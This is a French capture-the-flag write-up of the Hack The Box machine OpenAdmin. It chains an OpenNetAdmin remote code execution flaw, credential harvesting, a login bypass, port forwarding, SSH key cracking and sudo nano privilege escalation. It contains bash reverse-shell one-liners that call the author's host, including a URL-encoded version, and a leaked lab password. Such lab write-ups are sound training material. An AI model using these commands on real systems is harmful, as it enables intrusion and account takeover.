OpenAdmin est une boxe idéale pour débuter. La plus grosse difficulté étant un local port forward. On va exploiter une faille de sécurité non patchée qui souligne l'importance d'avoir ces logiciels à jour

Niveau : facile

But : récupérer les fichiers users.txt et root.txt


Au programme

Scan

  • nmap
  • gobuster

Exploitation de la vulnérabilité

  • Faille openNetAdmin

Collecte d'informations

Élévation de privillège

  • nano en tant que sudo

Scan

nmap


nmap -sT -A --top-ports=1000 10.10.10.171

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Vu la version de SSH sur le port 22, on ne va pas faire grand chose. Le port 80 est ouvert j'ai donc ouvert firefox et je suis tombé sur la page d'apache par défaut.

Gobuster


gobuster dir -u  http://10.10.10.171 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.171
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/01/06 09:41:26 Starting gobuster in directory enumeration mode
===============================================================
/music                (Status: 301) [Size: 312] [--> http://10.10.10.171/music/]
/artwork              (Status: 301) [Size: 314] [--> http://10.10.10.171/artwork/]
/sierra               (Status: 301) [Size: 313] [--> http://10.10.10.171/sierra/] 
                                                                                  
===============================================================
2022/01/06 09:46:08 Finished
===============================================================

Exploitation de la vulnérabilité


On trouve plusieurs sites Internet dont /music. Le lien login pointe vers http://10.10.10.171/ona qui n'est autre que openNetAdmin et on voit tout de suite que la version n'est pas à jour. On fonce chez exploitdb...

openadmin01openadmin02

searchsploit nous permet d'accéder à la base de donnée d'exploit-db.com. Souvent c'est plus rapide que d'aller sur le site. On voit ci-dessous qu'on a une RCE. Jusqu'ici tout va bien...

openadmin02-RCE

Le code est super simple. On passe juste la commande à une URL via bash qui nous fournie une pseudo console.

openadmin04

Je voulais une meilleure console pour être plus à l'aise, j'ai donc lancé un listener netcat sur ma machine :

nc -nlvp 24000

Puis j'ai collé cette commande à notre script : bash -c '/bin/bash -i >& /dev/tcp/10.10.14.11/24000 0>&1' en prenant soin de l'encoder au format URL ce qui donne :

bash%20-c%20'%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.11%2F24000%200%3E%261'

Pour avoir une vraie shell (avec autocompletion et qui permet de lancer nano par exemple), il ne reste plus qu'à faire ceci :

python3 -c 'import pty; pty.spawn("/bin/bash")'

ctrl z

stty raw -echo;fg

Maintenant on a une vraie shell et on va pouvoir collecter des infos

Collecte d'informations

La première chose que je fais c'est de voir qui sont les utilisateurs avec cat /etc/passwd. Mis à part root, il y a 2 utilisateurs : jimmy et joanna. Ensuite, vu qu'on a un serveur apache je me suis dit qu'aller voir la config pouvait être intéressant.

Dans openadmin.conf le serveur écoute sur le port 80 et le DocumentRoot /var/www/html. à regarder...


cat /etc/apache2/sites-available/openadmin.conf


	# The ServerName directive sets the request scheme, hostname and port that
	# the server uses to identify itself. This is used when creating
	# redirection URLs. In the context of virtual hosts, the ServerName
	# specifies what hostname must appear in the request's Host: header to
	# match this virtual host. For the default virtual host (this file) this
	# value is not decisive as it is used as a last resort host regardless.
	# However, you must set it for any further virtual host explicitly.
	ServerName openadmin.htb

	ServerAdmin jimmy@openadmin.htb
	DocumentRoot /var/www/html

	# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
	# error, crit, alert, emerg.
	# It is also possible to configure the loglevel for particular
	# modules, e.g.
	#LogLevel info ssl:warn

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

	# For most configuration files from conf-available/, which are
	# enabled or disabled at a global level, it is possible to
	# include a line for only one particular virtual host. For example the
	# following line enables the CGI configuration for this host only
	# after it has been globally disabled with "a2disconf".
	#Include conf-available/serve-cgi-bin.conf

et dans internal.conf :

Listen 127.0.0.1:52846 // Le site n'est accessible que depuis localhost sur le port 52746 (Sticky note : Port Forward ?)

DocumentRoot /var/www/internal // à regarder

<IfModule mpm_itk_module>
AssignUserID joanna joanna // Si on execute qqch ce sera fait avec l'utilisateur joanna. On progresse.
</IfModule>


cat /etc/apache2/sites-available/internal.conf
Listen 127.0.0.1:52846


    ServerName internal.openadmin.htb
    DocumentRoot /var/www/internal


AssignUserID joanna joanna


    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined


À ce moment là, je cherche des mots de passe. Le plus souvent on trouve ça dans les fichiers de configuration. Je n'ai rien trouvé d'intéressant dans /var/www/html. Il y a donc forcément quelque chose dans /opt/ona/www. Il y a énormément de dossiers et fichiers là-dedans. J'en appelle à mon meilleur ami : grep.


www-data@openadmin:/opt/ona/www$ grep -Ri passwd
plugins/ona_nmap_scans/install.php:        mysql -u {$self['db_login']} -p{$self['db_passwd']} {$self['db_database']} < {$sqlfile}

include/functions_db.inc.php: $ona_contexts[$context_name]['databases']['0']['db_passwd'] = $db_context[$type] [$context_name] ['primary'] ['db_passwd']; include/functions_db.inc.php: $ona_contexts[$context_name]['databases']['1']['db_passwd'] = $db_context[$type] [$context_name] ['secondary'] ['db_passwd']; include/functions_db.inc.php: $ok1 = $object->PConnect($self['db_host'], $self['db_login'], $db['db_passwd'], $self['db_database']); .htaccess.example:# You will need to create an .htpasswd file that conforms to the standard .htaccess.example:# htaccess format, read the man page for htpasswd. Change the .htaccess.example:# AuthUserFile option below as needed to reference your .htpasswd file. .htaccess.example:# names, however, do need to be the same in both the .htpasswd and web .htaccess.example: #AuthUserFile /opt/ona/www/.htpasswd local/config/database_settings.inc.php: 'db_passwd' => 'n1nj4W4rri0R!', winc/user_edit.inc.php: name="passwd" winc/user_edit.inc.php: if (!$form['id'] and !$form['passwd']) { winc/user_edit.inc.php: if ($form['passwd']) { winc/user_edit.inc.php: $form['passwd'] = md5($form['passwd']); winc/user_edit.inc.php: 'passwd' => $form['passwd'], winc/user_edit.inc.php: if (strlen($form['passwd']) 32) { winc/user_edit.inc.php: $form['passwd'] = $record['passwd']; winc/user_edit.inc.php: 'passwd' => $form['passwd'], winc/tooltips.inc.php:// Builds HTML for changing tacacs enable passwd

grep permet de chercher des mots dans des fichiers. J'ai utilisé -R pour scanner tous les fichiers de manière récursive et -i pour que la recherche ne tienne pas compte de la casse. Bingo ! J'ai un accès à la base de donnée dans le fichier local/config/database_settings.inc.php

Le mot de passe pour se connecter en ssh est le même. Jusqu'ici tout va bien...

Sauf que je n'ai pas le user.txt. Il va falloir accéder au compte de joanna. On a déjà pas mal d'info. Maintenant que je suis jimmy, je peux accéder à /var/www/internal. En regardant le code, je vois que main.php me permet d'accéder à la clé SSH de joanna. Pour y accéder, je dois passer par index.php qui est un formulaire de login protégé par mot de passe.

J'ai changé le code :

if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {

par

if ($_POST['username'] == 'jimmy' && $_POST['password'] == 'jimmy') {

pour pouvoir accéder à la page et récupérer la clé.

Le site n'est accessible qu'en local, il va donc falloir créer un tunnel local port forward :

ssh jimmy@10.10.10.171 -L 666:127.0.0.1:52846

Grâce à cette commande, je vais pouvoir me connecter au port 52846 de la machine openadmin en utilisant mon evil port 666

openadmin04 port forward

J'ai récupéré la clé SSH, changé le chmod à 600 et essayé de me connecter mais malheureusement la clé est protégée par un mot de passe.

Les clés SSH sont très longue à cracker. Heureusement pour nous jimmy nous a laissé un indice : "Don't forger your "ninja" password". J'ai donc décidé de créer une wordlist à partir de rockyou.txt à l'aide de ce code :

grep -i ninja /home/fr3sh/Documents/Wordlists/rockyou.txt > wordlist.txt

Maintenant il ne me reste plus qu'à convertir mon fichier ssh grâce à ssh2john  et à essayer de cracker le mot de passe avec john

/home/fr3sh/Documents/ToOls/ssh2john.py joanna_id_rsa > ssh2crack

john --wordlist=wordlist.txt ssh2crack

openadmin07

Bingo ! J'ai trouvé le mot de passe. Je peux donc me connecter en SSH et récupérer user.txt

openadmin06

Élévation de privillège

Mes 3 premières commandes pour une élévation de privilège sont :

  • ls -alh /etc/passwd //Pour voir si je peux écrire sur passwd. Si si ça arrive ;-)
  • ls -alh /etc/shadow //Pour voir si je peux écrire sur shadow. C'est plus rare
  • sudo -l //Pour voir quel pouvoir sudo m'a accordé.

La 3e commande me dit que je peux accéder à nano


joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH", secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv

Un petit tour sur https://gtfobins.github.io/ m'indique que nano garde le privilège root quand j'exécute une commande. Pour ce faire il suffit de faire ctrl R suivi de ctrl X et de lancer la commande. J'ai choisi de m'envoyer une shell (on n'oublie pas de mettre un listener avant d'envoyer la commande nc -nlvp 24660) :

bash -c '/bin/bash -i >& /dev/tcp/10.10.14.11/24660 0>&1'

Me voilà root.

openadmin08